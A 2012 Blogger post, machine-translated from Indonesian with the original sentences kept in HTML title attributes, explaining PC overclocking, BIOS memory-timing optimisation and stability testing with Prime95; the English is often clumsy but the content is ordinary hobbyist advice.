tag:blogger.com,1999:blog-8725266589719009702024-02-19T05:45:08.117-08:00In 1 Siteridwan baihaqihttp://www.blogger.com/profile/06188834197555634085noreply@blogger.comBlogger20125tag:blogger.com,1999:blog-872526658971900970.post-36831223332543774512012-04-11T20:02:00.000-07:002012-04-11T20:02:31.132-07:00Meaning of Overclocking<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0bcrvS4OB_wgmsqigyxCRufj_BoHqVO23BB7GgFkm_QV3ORnXpJozgBwlg1xK-22U0j9cfJJUNeLi_yuLB6Osgnp-nPr3X37iin6KEM-1Qy2bagZGMmsxVXOf41Q1H9eBcMn3RpOMXKQ/s1600/2007TaipeiITMonth_IntelOCLiveTest_Overclocking-6.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0bcrvS4OB_wgmsqigyxCRufj_BoHqVO23BB7GgFkm_QV3ORnXpJozgBwlg1xK-22U0j9cfJJUNeLi_yuLB6Osgnp-nPr3X37iin6KEM-1Qy2bagZGMmsxVXOf41Q1H9eBcMn3RpOMXKQ/s320/2007TaipeiITMonth_IntelOCLiveTest_Overclocking-6.jpg" width="320" /></a></div><span class="" id="result_box" lang="en"><span title="Ketika mendengar tentang kata “overclocking”, pikiran kebanyakan orang awam tentulah tertuju pada keruwetan membongkar sistem komputer yang memang kompleks, sedangkan sebagian yang lain akan membayangkan sosok seorang maniak komputer (lengkap dengan segala atribut aneh-nya) sedang membongkar komputer.">When she heard about the word "overclocking", the minds of most ordinary people would have been fixed on the complexity of computer systems is to dismantle the complex, while others would imagine the figure of a computer maniac (complete with all its peculiar attributes) is to disassemble the computer. </span><span title="Tentu saja hal-hal tersebut banyak yang tidak benar.">Of course many of these things are not true. </span><span title="Tulisan ini berusaha untuk memberi penjelasan yang lebih “membumi” mengenai dunia overclocking sekaligus mengajak kita yang masih awam untuk mengoptimalkan potensi tersembunyi komputer yang kita pakai sehari-hari dengan cara meng-overclock-nya.">This article tries to give a more "grounded" on the overclocking world takes us at once that still lay hidden potential to optimize the computers we use everyday in a way to overclock it. </span><span title="Selamat menikmati.">Please enjoy.</span><span title="Pengenalan & pengertian overclocking">Recognition and understanding of overclocking</span><span title="Overclocking sesuai namanya adalah memaksa clock sebuah peripheral, biasanya clock dari prosessor, lebih tinggi dari standarnya.">Overclocking is a force as the name of a peripheral clock, usually clock of the processor, higher than the standard. </span><span title="Dalam perkembangannya overclocking tidak selalu harus berhubungan dengan kenaikan clock, tetapi juga ketika kita memaksa sebuah peri-peral bekerja lebih cepat dari stan- darnya.">In the development of overclocking is not necessarily related to the increase in clock, but also when we force a peri-Peral works faster than stan-darnya. </span><span title="(clock : satuan frekuensi yang terjadi dalam 1 waktu, untuk di ketahui saja : Mhz prosesor di hitung dari FSB di kalikan faktor pengali, atau yang biasa di sebut multiplier. Contoh : Intel Pentium 2,66 Ghz = 20 x 133, di mana 20">(Clock: unit of frequency that occurs in the first time, to be in the know: Mhz processor is calculated from the multiply FSB multiplier, or the so-called multiplier. Example: Intel Pentium 2.66 GHz = 20 x 133, where 20 </span><span title="adalah faktor pengali, sedangkan 133 adalah FSB dari prosesor tersebut).">is the multiplier, while the 133 is the FSB of the processor).<a name='more'></a></span><span title="Awalnya, orang melakukan overclocking hanya untuk mendapatkan sistem yang lebih cepat dari stan-darnya bahkan sampai mendekati sistem yang spesifikasi nya berada di atas sistem yang dia miliki.">Initially, the overclocking just to get a system that is faster than stan-darnya even close to the specification of the system it is above the system he has. </span><span title="Tetapi dalam perkembangannya overclocking menjadi sebuah hobi, sebuah trend baru di dunia komputer.">But in its development, overclocking becomes a hobby, a new trend in the computer world. </span><span title="Overclocking tidak hanya bertujuan untuk mendapatkan sebuah sistem yang setara dengan sistem yang berada di atasnya tapi juga melampaui sistem tersebut.">Overclocking does not just aim to get an equivalent system with a system that was on it but also go beyond the system. </span><span title="Bahkan sekarang ada trend di mana overclocking dipergunakan untuk mendapatkan sistem yang benar-benar di luar batas logika, atau bahkan jauh diatas kemampuan sistem tercepat yang telah ada.">Even now there is a trend where overclocking is used to get a system that is really beyond the limits of logic, or even far beyond the capacity of the existing system is the fastest.</span><span title="Periferal komputer yang biasa dan umum dioverclock adalah clock dari prosessor, FSB prosessor, FSB mainboard, timing memori, FSB memori, clock memori dan core VGA, timing memori VGA.">Computer peripherals that are usual and common overclock of processor clock, FSB processor, mainboard FSB, memory timings, FSB memory, VGA core clock and memory, VGA memory timings. </span><span title="Tidak berhenti sampai di situ, masih ada perubahan pada voltase/tegangan pada pro sessor, memori, vga, & chipset agar dapat berjalan stabil pada sistem yang di overclock.">Do not stop there, still no change in the voltage / voltage on the pro sessor, memory, VGA, and chipsets to run stable on overclocked systems. </span><span title="Kenapa harus ada perubahan voltase/tegangan?">Why should any change in voltage / voltage? </span><span title="Seperti yang kita tahu sebuah peri-feral komputer sekecil apapun pasti memerlukan daya listrik agar bisa bekerja/berjalan.">As we know a peri-feral slightest computer would require electric power to be able to work / run. </span><span title="Apabila kita menaikkan/merubah clock dari sebuah periferal jelas saja periferal tersebut membutuhkan daya yang cukup agar dapat bekerja/berjalan dengan stabil.">If we increase / change the clock of a peripheral peripherals are obviously just need enough power to work / run stable. </span><span title="Oleh sebab itu salah satu faktor penting dalam overclocking adalah suplai daya yang cukup dari penyedia daya, yaitu Power Supply.">Therefore, one important factor in overclocking is enough power supply from power providers, the Power Supply.</span><span title="Pengaruh dari sebuah periferal ketika dioverclock adalah membuat kinerja periferal tersebut lebih cepat dari standarnya dengan efek sam-ping suhu periferal lebih panas dari seharusnya, terjadi ketidakstabilan sistem, bahkan membuat periferal tersebut tidak mau bekerja.">The influence of a peripheral when the overclock is to make the performance more quickly than peripheral standard with effect beside the peripheral temperature is hotter than it should, system instability, even making the peripherals will not work. </span><span title="Hal-hal inilah yang membuat seseorang yang ingin mendalami overclocking segan untuk memulainya, padahal dalam overclocking ada tingkatan-tingkatannya sendiri.">The things that makes someone want to explore overclocking reluctant to start it, but in no degree-level overclocking itself. </span><span title="Kami membaginya menjadi 3 : Safe-Overclocking, Real-Overclocking, & Extreme-Overclocking yang cara & tujuannya berbeda-beda.">We divide it into three:-Overclocking Safe, Real-Overclocking, & Extreme-Overclocking the way and its purpose is different.</span><span title="Kami akan memberikan cara singkat bagaimana mengoptimalisasi PC Anda dengan cara overclocking dengan efek samping sekecil mungkin dalam penggunaan komputer sehari-hari.">We will provide a brief overview of how to optimize your PC by way of overclocking with the least possible side effects of daily computer use. </span><span title="Kami biasa menyebutnya dengan 'safe-overclocking' atau juga kadang disebut 'optimalisasi'.">We used to call it a 'safe-overclocking' or sometimes also called 'optimization'.</span><span title="Safe-overclocking/ optimalisasi pada PC">Safe-overclocking / optimization on a PC</span><span title="Safe overclocking adalah pengoptimalan PC dengan aman tanpa memerlukan perubahan-perubahan atau alat-alat tambahan pada sistem yang telah ada.">Safe overclocking is the optimization of the PC safely without requiring any changes or additional equipment on existing systems. </span><span title="Untuk cakupan kali ini, kami hanya akan membahas komputer yang bersistem operasi Windows saja, dengan alasan ba-nyaknya software yang tersedia bagi sistem operasi ini dan juga dengan pertimbangan banyak yang memakai sistem operasi ini.">For this coverage, we will only discuss the computer operating system Windows only, by reason of ba-nyaknya software available for this operating system and also with consideration of many that use this operating system. </span><span title="Microsoft Windows yang kami bahas disini adalah Windows yang paling banyak dipakai oleh pemakai komputer, yaitu Windows XP.">Microsoft Windows which we discuss here is Windows the most widely used by computer users, the Windows XP.</span><span title="Sebelum memulai overclocking, sebaiknya Anda telah mengetahui apa-apa saja yang terdapat dalam sistem Anda, apa jenis prosessor-nya, berapa FSB standarnya, berapa timing memori Anda, dan lain sebagainya."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Sebelum memulai overclocking, sebaiknya Anda telah mengetahui apa-apa saja yang terdapat dalam sistem Anda, apa jenis prosessor-nya, berapa FSB standarnya, berapa timing memori Anda, dan lain sebagainya.">Before you start overclocking, you should already know what-what is available to your system, what kind of processor it, what the default FSB, how your memory timings, and so forth. </span><span title="Untuk mengetahuinya Anda dapat melihat pada box penjualannya, atau bila tidak ingin repot sebaiknya gunakan software 'Hardware diagnostic' yang gunanya untuk menginformasikan periferal apa saja yang terpasang di sistem Anda.">To find out you can see in the box sales, or if you do not want to bother you should use a software 'Hardware diagnostic' a point to inform any peripherals installed in your system. </span><span title="Variasi dari software tersebut ada banyak, tapi kami biasanya menggunakan Sisoftsandra, atau Everest Home Edition yang bisa di download di www.lavalyst.com.">Variations of the software there are many, but we usually use Sisoftsandra, or Everest Home Edition which can be downloaded at www.lavalyst.com.</span><span title="Patut diperhatikan sebelumnya bahwa tidak semua mainboard punya dukungan overclocking lewat BIOS.">Previous noteworthy that not all motherboards have overclocking via BIOS support. </span><span title="Untuk mengetahui apakah mainboard Anda mendukung fitur overclocking (dalam konteks ini adalah Safe-Overclcoking), Bacalah manual mainboard Anda, di bagian BIOS, apakah terdapat pengaturan terhadap clock speed prosesor, fsb prosesor, timing prosesor.">To find out if your motherboard supports overclocking features (in this context is the Safe-Overclcoking), Read your motherboard manual, in the BIOS, is there a setting on the processor clock speed, FSB processor, the processor timing. </span><span title="Bila ti-dak ada, ada alternatif lainnya yaitu menggunakan software overclocking (beberapa merek mainboard mempunyai software overclockingnya sendiri, dan biasanya bila ada software overclocking maka BIOSnya pun mendukung overclocking).">If there were not, there are other alternative is to use software overclocking (some brands of mainboard has overclockingnya own software, and usually if there is any software overclocking the BIOS supports overclocking). </span><span title="Software-software yang biasa digunakan untuk mengoverclock adalah ClockGen yang bisa didownload di www.cpuid.com.">Software that is commonly used to overclock is ClockGen which can be downloaded at www.cpuid.com.</span><span title="Cara kerja ClockGen adalah de-ngan mengakses langsung IC pembangkit clock di mainboard.">How it works is ClockGen with direct access a clock generator IC on mainboard. </span><span title="Tetapi software ini hanya bisa untuk menaikkan clock saja, tidak bisa merubah timing memori.">But this software can only be to raise the clock, could not change the memory timings. </span><span title="Oleh karena itu kami tidak akan membahas ClockGen lebih lanjut karena fokus kita kali ini adalah pada FSB memori terhadap FSB prosesor dan timing memori saja.">Therefore we will not discuss further ClockGen this time because our focus is on the processor FSB FSB and memory to memory timings alone.</span><span title="Setelah kita tahu apa isi dari sistem yang di pakai & juga BIOS mendukung fitur overclocking, sekarang kita harus tahu settingan apa sajakah yang harus diubah agar komputer kita berjalan secara optimal.">Once we know what the contents of the system is in use and also BIOS supports overclocking, now we have to know what are the settings that must be changed so that our computer is running optimally. </span><span title="Untuk konteks optimalisasi kita hanya akan me-ngubah settingan dari FSB memori terhadap FSB prosesor dan timing memori tanpa mengubah voltase dari memori maupun prosesor.">For the optimization context we are only going to ngubah FSB setting of memory to the processor FSB and memory timings without changing the voltage of the memory or processor.</span><span title="Sistem yang berbasiskan Intel berbeda cara optimalisasinya dengan sistem yang berbasis AMD.">Intel-based system of different ways optimalisasinya with AMD-based systems. </span><span title="Disini kami akan memberikan garis besarnya bagaimana optimalisasi terhadap kedua sistem tersebut dalam lampiran tersendiri.">Here we will outline how the optimization of both systems in a separate annex.</span><span title="Walaupun kami yakin optimalisasi yang dilakukan tadi benar-benar bisa diaplikasikan tanpa adanya masalah, tetapi untuk pencegahan saja apabila komputer mengalami hal yang tidak beres, seperti misalnya tidak mau booting, atau komputer tiba-tiba restart ketika loading Windows (loading Windows gagal), atau">Although we believe that the optimization was done actually can be applied without any problems, but to prevent it if the computer is having things go wrong, such as will not boot, or the computer suddenly restarts when loading Windows (Windows loading fails), or </span><span title="juga kita mendapatkan pesan error saat masuk ke Windows maka lakukan langkah-langkah berikut :">we also get the error message into Windows you should take the following steps:</span><span title="Bila komputer tidak mau booting dan mengeluarkan bunyi panjang-panjang itu artinya settingan memori yang dimasukkan tidak sesuai dengan memorinya (memori tidak mau berjalan dengan settingan tersebut).">If the computer will not boot and emits a long-term that means the memory settings are not entered in accordance with the memory (the memory will not run with this setting). </span><span title="Pemecahan dari masalah ini adalah coba kita matikan total komputer (langsung dari stavolt atau listrik utamanya, tunggu 1 menit dan hidupkan kembali, bila masih mati dan berbunyi maka kita harus mematikan komputer tersebut dan membuka casingnya, cari jumper untuk clear-cmos (bisa dilihat di">Solution of this problem is let's turn off the computer total (direct from stavolt or main power, wait one minute and turn back, if still dead and we have to read off the computer and open the casing, looking for clear-cmos jumper (can be seen in </span><span title="manual mainboard anda di mana letak jumper tersebut).">your mainboard manual where the jumper is).</span><span title="Bila komputer tiba-tiba restart ketika loading Windows atau ada pesan error ketika akan masuk Windows, penyebabnya bisa macam-macam.">If the computer suddenly restarts when loading Windows or an error message when going into Windows, can cause all sorts. </span><span title="Apabila Anda melakukan overclock terhadap prosessor maka bisa jadi listrik/voltase yang dibutuhkan oleh prosessor tidak cukup, coba untuk mengembalikan clock prosesor tersebut.">If you do not overclock the processor then maybe the power / voltage required by the processor is not enough, try to restore the processor clock. </span><span title="Apabila permasalahan yang sama masih terjadi juga maka coba untuk mengembalikan settingan kembali seperti keadaan semula.">If the same problem still occurs then also try to restore the settings back as the original state. </span><span title="Caranya de ngan kembali masuk ke BIOS, lalu pilih [Load Optimized Defaults].">De with a back way into the BIOS, and then select the [Load Optimized Defaults].</span><span title="Ketika kita mengalami masalah pada saat harus mengembalikan keadaan ke kondisinya semula, itulah saatnya kita mengetahui bahwa periferal yang kita gunakan sudah optimal.">When we have problems at the state must return to its original condition, that is when we know that the peripherals we use is optimal. </span><span title="Safe-overclocking tidak akan berhasil di sini.">Safe-overclocking will not work here. </span><span title="Anda harus naik ke 'level' berikutnya,Real-Overclocking.">You must rise to the 'level' the next, Real-Overclocking. </span><span title="Disini penambahan voltase adalah hal wajib, penggantian periferal juga bisa merupakan sebuah pilihan tepat.">Here the addition of voltage is required, the replacement of peripherals can also be a right choice. </span><span title="Kapan ‘le-vel’ Extreme-Overclocking tercapai?">When 'le-vel' Extreme-Overclocking is achieved? </span><span title="Bila sebuah komputer tidak lagi pada settingan standar se-perti komputer normal, maka ti-dak lagi bisa berjalan sehari-hari tanpa menggunakan pendingin yang lebih bagus, dan Anda tentunya akan merasa bahwa itu semua masih belum cukup.">When a computer is no longer the standard setting like a normal computer, it did not again be able to walk everyday without using a better cooler, and you certainly will find it all still not enough. </span><span title="Dan yang pasti Anda masih menginginkan lebih dari hasil sebe-lumnya.">And for sure you still want more than the one before.</span><span title="Pengujian safe-overclocking">Testing the safe-overclocking</span><span title="Setelah kita melakukan optimalisasi pada PC sekarang waktunya untuk pengujian.">After we perform the optimization on the PC it's time for testing. </span><span title="Kenapa kita butuh pengujian?">Why do we need testing? </span><span title="Karena kita harus memastikan sistem tersebut berjalan tanpa masalah.">Because we must ensure that the system is running without any problems. </span><span title="Pengujian juga dilakukan apabila kita ingin mengetahui berapakah kinerja yang didapatkan dari hasil optimalisasi tersebut.">Testing is also done if we want to know what performance is obtained from the optimization results.</span><span title="Prime95 fungsi sebenarnya adalah mencari bilangan prima yang baru dengan cara menggunakan secara maksimal tenaga prosessor dan memori kita.">Prime95 real function is to find a new prime number by using the maximum power the processor and memory. </span><span title="Software ini rentan error apabila sistem kita berjalan ti-dak stabil.">This software is vulnerable to error when we run the system did not stabilize. </span><span title="Hal ini disebabkan karena ketika menghitung dan mencari bilangan prima, bila menemui kesalahan sedikit saja maka program ini akan menolak untuk melanjutkan.">This is because when calculating and looking for prime numbers, when confronted with the slightest mistake then this program will refuse to continue. </span><span title="Hal inilah yang menyebabkan Prime95 digunakan oleh overclocker untuk menguji kestabilan sistem mereka setelah di overclock.">This is why Prime95 is used by overclockers to test the stability of their systems after the overclock. </span><span title="Prime95 yang biasanya digunakan adalah versi 22.1.2.">Prime95 is normally used is version 22.1.2. </span><span title="Untuk mendapatkannya silahkan download di alamat www.mersenne.org/prime.htm.">To get it please download the address www.mersenne.org / prime.htm.</span><span title="Download program tersebut di komputer anda."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Download program tersebut di komputer anda.">Download the program on your computer. </span><span title="Berikut ini adalah langkah-langkah penggunaannya :">Here is a step-by-step manual:</span><span title="Install software Prime95 dan jalankan aplikasi tersebut.">Install software Prime95 and run the application.</span><span title="Pilih menu [Options] lalu klik pada [CPU].">Select the menu [Options] and click on the [CPU].</span><span title="Setting [Daytime Available Me-mory] & [Nightime Available Memory] dengan nilai setengah dari jumlah memory utama yang terpasang (Contoh : Anda mempunyai RAM dengan kapasitas 512 MB, maka kedua kolom tersebut diisi 256 MB), lalu klik [OK].">Setting [Me-Mory Available Daytime] & [Nightime Available Memory] with a value of half the number of main memory is installed (Example: You have a capacity of 512 MB RAM, then the second column is filled with 256 MB), then click [OK].</span><span title="Pilih lagi menu [Options] lalu klik pada [Torture Test] dan biarkan pengujian berjalan selama 24 jam.">Select another menu [Options] and click on the [Torture Test] and let the test run for 24 hours.</span><span title="Bila terdapat error, pertama kali yang harus Anda lakukan adalah menyetting timing memori kembali seperti keadaan semula.">If there are errors, the first thing you should do is setting the memory timings back as the original state. </span><span title="Bila masih ada error, lakukan [Load Optimized Setting] pada menu BIOS.">If there are errors, do the [Load Optimized Settings] in the BIOS menu.</span><span title="Sebenarnya pengujian yang pa-ling penting adalah pengujian yang dilakukan dengan real-life application, dengan aplikasi yang biasa kita gunakan sehari-hari."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Sebenarnya pengujian yang pa-ling penting adalah pengujian yang dilakukan dengan real-life application, dengan aplikasi yang biasa kita gunakan sehari-hari.">The real test is the most important tests performed with real-life application, the application that we use everyday. </span><span title="Contohnya, apakah kita dapat mendengarkan musik sambil mengerjakan tugas kantor/kuliah/sekolah tanpa masalah, memainkan game favorit tanpa masalah, membuka file gambar dan mengeditnya dengan software gambar juga tanpa masalah?">For example, if we can listen to music while doing office work / college / school with no problem, play your favorite game without any problem, open the image file and edit it with image software also without any problems? </span><span title="Dengan teknik optimalisasi yang barusan kita lakukan seharusnya sistem yang kita gunakan berjalan stabil dan dengan kinerja yang lebih tinggi dari sebe-lumnya (tidak ada jaminan 100% bahwa semua sistem dapat berjalan dengan stabil).">With optimization techniques that we just do should we use the system running stable and with higher performance than before (no 100% guarantee that all systems can run stable).</span><span title="Dalam konteks optimalisasi/safe-overclocking yang baru saja kita lakukan maka dapat dijabarkan dari keuntungan & kerugiannya :">In the context of optimization / safe-overclocking which we just did it may be derived from the advantages and disadvantages:</span><span title="Keuntungan :">Advantages:</span><span title="Kinerja sistem lebih tinggi dari sebelumnya tanpa mengeluarkan biaya.">Higher performance than the previous system without the cost.</span><span title="Menambah pengetahuan tentang hardware.">Increase knowledge about the hardware.</span><span title="Mengerti bagaimana mengatasi masalah pada komputer.">Understand how to solve problems on the computer.</span><span title="Kerugian : Hampir tidak ada, kecuali waktu yang disisihkan untuk optimalisasi ini.">Disadvantages: Almost none, except the time set aside for this optimization.</span><span title="Keuntungan & kerugian yang didapat dari overclocking">Gains and losses derived from overclocking</span><span title="Kenapa kerugian yang timbul ti-dak berhubungan dengan hardware di sistem Anda?">Why losses do not relate to the hardware on your system? </span><span title="Karena yang kita lakukan hanyalah optimalisasi setting.">Because we do is optimize the settings. </span><span title="Kenapa dari pabriknya sebuah periferal tidak di setting seperti itu?">Why does not the manufacturer in a peripheral setting like that? </span><span title="Kompabilitas adalah masalah utamanya.">Compatibility is the main problem. </span><span title="Seperti yang kita tahu, sebuah periferal yang sama (contoh-nya memori) di buat oleh pabrik yang berbeda, agar tidak terjadi masalah di kemudian hari terhadap produk yang mereka buat.">As we know, the same peripherals (eg its memory) made by different manufacturers, in order to avoid problems later on for the products they make. </span><span title="Maka biasanya mereka membuat settingan pada periferal tersebut ke settingan yang paling aman/rendah.">So usually they make the setting on the periphery to the safest settings / low. </span><span title="Berdasarkan pengalaman kami, periferal-periferal tersebut dapat disetting lebih tinggi tanpa ada masalah sama sekali.">Based on our experience, peripheral, peripherals can be set higher without any problems at all. </span><span title="Inilah mengapa Safe-overclocking bisa & gampang untuk dipraktekkan langsung.">This is why Safe and easy-overclocking able to put into practice immediately.</span><span title="Lebih lanjut tentang overclocking"> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Lebih lanjut tentang overclocking">More on overclocking</span><span title="Setelah kita melihat contoh tadi, mungkin sekarang Anda bertanya-tanya apakah yang sebenarnya kita lakukan tadi?">Once we see this example, you may now wonder whether we actually do that? </span><span title="Yang kita lakukan tadi adalah memperbesar aliran data antara prosesor – chipset – memori pada sistem Intel atau prosesor –memori pada AMD dan memperpendek waktu akses memori terhadap data yang sedang di olah, sehingga aliran data yang ditransfer lebih cepat.">We just did is increase the flow of data between the processor - chipset - Intel or memory on the system memory on the AMD processor-memory access time and shorten the data that was in though, so that the flow of data to be transferred more quickly. </span><span title="Mengapa hal seperti itu bisa dikatakan overclocking, se- dangkan tidak ada kenaikan clock prosesor?">Why is such a thing can be said to overclocking, as there is no increase dangkan processor clock?</span><span title="Seperti yang telah kami kemukakan sebelumnya, bahwa overclocking itu pada dasarnya adalah membuat sistem yang kita gunakan saat ini berjalan lebih cepat dan stabil dari sebelumnya.">As we have suggested earlier that the overclocking is basically make the system we use today to run faster and stable than before. </span><span title="Dan teknik yang baru dijelaskan adalah teknik yang paling mudah untuk dilakukan tanpa adanya resiko yang sampai merusak hardware Anda yang tentunya bisa merugikan.">And the technique just described is the easiest technique to be done without any risk to damage your hardware that would be detrimental. </span><span title="Perlu diperhatikan pula sewaktu meng-overclock tetap harus hati-hati.">It should be noted also during overclock still have to be careful.</span><span title="Overclocking saat ini sebenarnya sudah mulai didukung oleh hampir semua produsen-produsen peri- feral komputer, yang dipelopori oleh salah satu produsen mainboard dari Taiwan sejak 1993."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Overclocking saat ini sebenarnya sudah mulai didukung oleh hampir semua produsen-produsen peri- feral komputer, yang dipelopori oleh salah satu produsen mainboard dari Taiwan sejak 1993.">Overclocking now actually have started to be supported by almost all manufacturers feral fairy-computer, which was pioneered by one of the mainboard manufacturer from Taiwan since 1993. </span><span title="Mungkin bagi Anda yang sudah memakai kompu-ter sejak dulu masih ingat bagaimana susahnya untuk merakit sendiri sistem yang telah kita beli karena harus merubah jumper di mainboard agar mainboard mengenali prosesor yang kita pakai.">Perhaps for those who had been taking his computer too long ago still remember how hard to assemble their own systems that we buy because they have to change the jumper on the mainboard to mainboard recognize the processor that we use. </span><span title="Tapi sekarang produsen sudah membuat agar settingan tersebut bisa dilakukan dari BIOS saja, tanpa harus menyentuh mainboard sama sekali, bahkan pada beberapa produsen sudah memberikan settingan untuk mengubah voltase/tegangan untuk periferal di dalamnya.">But now the manufacturer has made so that these settings can be done from the BIOS, without having to touch the mainboard at all, even on some manufacturers already provide the setting to change the voltage / voltage for peripherals in it. </span><span title="Inilah celah bagi para overclocker untuk memudahkan mereka meng-overclock sistem mereka, hingga produsen mainboard pun membuat software overclock Under-Windows yang bisa digunakan tanpa harus masuk ke BIOS.">This is the gap for the overclocker to enable them to overclock their system, until the manufacturer mainboard was made Under-Windows overclocking software that can be used without having to enter the BIOS.</span><span title="Hal yang juga di lihat oleh para overclocker biasanya kualitas peri-feral."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Hal yang juga di lihat oleh para overclocker biasanya kualitas peri-feral.">It is also viewed by overclockers usually peri-feral quality. </span><span title="Contohnya seperti pabrik pembuat mainboard, pabrik pembuat kapasitor-kapasitor yang terdapat dalam mainboard, pabrik pembuat serta seri chip yang digunakan oleh memori, tanggal dan seri tertentu dari sebuah prosesor, tanggal pembuatan sebuah VGA, dan masih ba-nyak lainnya.">Examples such as the mainboard manufacturer, the manufacturer of capacitors contained in the mainboard, the manufacturer and the serial chip used by the memory, date and specific series of a processor, a VGA date of manufacture, and many others. </span><span title="Hal-hal seperti di atas sangat mempengaruhi overclocking yang akan dilakukan.">Things like the above will greatly affect the overclocking is done. </span><span title="Kenapa se-perti itu?">Why like that? </span><span title="Kami akan jabarkan sedikit beserta contohnya :">We will describe a bit with an example:</span><span title="Kita ambil contoh mudah pada prosessor.">We take a simple example to the processor. </span><span title="Mengapa pada tanggal dan seri-seri tertentu prosesor tersebut bisa di overclock lebih tinggi dari seri lainnya?">Why does the date and a specific series processors can be overclocked higher than other series? </span><span title="Sebuah prosesor terdiri dari core dan board tempat meletakkan corenya, kedua hal tersebut mempengaruhi kualitas akhir dari sebuah prosesor yang di produksi.">A core and processor board consists of putting a corenya, both of these affect the final quality of a processor is in production. </span><span title="Satu kali proses produksi bisa terjadi kualitas keduanya bagus, maka seluruh prosesor yang dibuat pada tanggal tersebut berkualitas sangat baik.">One-time production processes can occur both are good quality, all processors are made on the very good quality. </span><span title="Tapi apabila hanya salah satu dari kedua hal tersebut yang bagus maka kualitasnya bagus.">But if only one of two things is good, then good quality. </span><span title="Begitu juga ketika proses produksi keduanya kurang begitu bagus maka kualitasnya bisa di bilang rata-rata.">Likewise, when the production process are both not so good it can be said the quality is average. </span><span title="Kenapa pada suatu saat proses produksinya bisa bagus pada saat lainnya hanya rata-rata?">Why at some point the production process can be good at other times just average? </span><span title="Hal itu terkait dengan cara sebuah pabrik prosesor membuat produk mereka.">It is related to how a processor factory to make their products. </span><span title="Biaya untuk membuat prosesor tidaklah kecil.">The cost to make the processor is not small. </span><span title="Selain itu yang mempengaruhi adalah dari cara pembuatan.">Besides the influence of the method is. </span><span title="Sebuah prosesor di buat menggunakan intensitas sinar laser yang ditembakkan sedemikian rupa sehingga terbentuklah prosesor seperti yang kita lihat sekarang.">A processor is made using the intensity of the laser beam that is fired in such a way that it formed a processor as we see now.</span><span title="“Pada saat-saat tertentu dari proses produksi prosesor tersebut terkadang laser kurang fokus sehingga hasilnya kurang sempurna."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="“Pada saat-saat tertentu dari proses produksi prosesor tersebut terkadang laser kurang fokus sehingga hasilnya kurang sempurna.">"At certain times of the production process of the processor is not focused so that the laser is sometimes less than perfect results. </span><span title="Inilah yang menyebabkan kenapa ada prosesor sangat bagus (kami menyebutnya prosesor “gold”) dan ada yang rata-rata.">This is why there is a very good processor (we call it the processor "gold") and there is an average. </span><span title="Untuk mengetahui perbedaan kualitas dari setiap prosesor tersebut biasanya kami mencoba satu per satu prosesor dengan tanggal dan seri yang berbeda atau biasa disebut batch code”.">To find out the differences in the quality of each processor is usually we try one by one processor with a date and a different series or so-called batch code ".</span><span title="Contoh lainnya yang gampang juga di lihat dari pabrik pembuat mainboard/periferal lainnya.">Other examples are also easily viewed from the manufacturer of the mainboard / other peripherals. </span><span title="Kenapa bisa begitu?">Why is that? </span><span title="Karena bila sebuah pabrikan selalu membuat board yang berkualitas maka pabrikan tersebut akan selalu terkenal akan kehandalan produk mereka.">Because if a manufacturer has always made a quality board that the manufacturer will always be known for their reliability. </span><span title="Yang bisa kita lihat ada beberapa produsen yang khusus menciptakan mainboard untuk overclocker.">We can see there are some manufacturers that specially created mainboard for overclockers. </span><span title="Produsen tersebut dari awal memang mengkhususkan diri membuat produk untuk para overclocker.">The manufacturer specializing from the beginning was to make products for overclockers. </span><span title="Kualitas komponen dalam mainboard mereka adalah komponen kelas atas, fitur dari BIOS mereka sangat mendukung overclocking, karena merekalah yang pertama kali di dunia mengenalkan inovasi mainboard tanpa jumper, semua bisa di atur cukup dari BIOS.">Quality components in their mainboard is the component of the upper classes, the features of their BIOS overclocking is very supportive, because they were the first in the world to introduce innovations mainboard without the jumper, all can be set up enough of the BIOS. </span><span title="Seperti yang telah di bahas sebelumnya, fitur dari settingan FSB, voltase/tegangan, timing memori bisa de- ngan gampangnya di ubah dari BIOS.">As was discussed earlier, the feature of setting the FSB, voltage / voltage, memory timings can be so easily with the change of the BIOS. </span><span title="Sehingga kita bisa meniru settingan dari sebuah sistem yang sama tetapi spesifikasinya lebih tinggi dari sistem kita.">So that we can replicate the setting of a similar system but the specification is higher than our system.</span><span title="Itulah celah yang digunakan oleh overclocker untuk meng-overclock sistem mereka."> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Itulah celah yang digunakan oleh overclocker untuk meng-overclock sistem mereka.">That gap is used by overclockers to overclock their systems. </span><span title="Apapun cara akan mereka jalani demi mendapatkan sebuah sistem yang lebih tinggi dari yang lain hanya demi kepuasan batin saja.">Whichever way they would have to obtain a higher system than the other just for the sake of inner satisfaction. </span><span title="Untuk saat sekarang, overclocking belum bisa untuk dijadikan pekerjaan.">For now, overclocking has not been able to be used as a job. </span><span title="Tetapi salah satu dampak dari overclocking yaitu pengetahuan tentang hardware dan cara perbaikannya bila ada kerusakan pada hardware tersebut bisa menempatkan kita sama dengan seorang teknisi komputer yang handal.">But one of the effects of overclocking the knowledge of the hardware and how to repair any damage to the hardware if it can put us together with a reliable computer technician.</span><span title="Overclocking bukanlah sesuatu hal yang menakutkan, Anda hanya perlu mengetahui sedikit karakter dari sebuah periferal dan bagaimana cara mengoptimalkannya secara benar, itu saja."> </span></span><br />
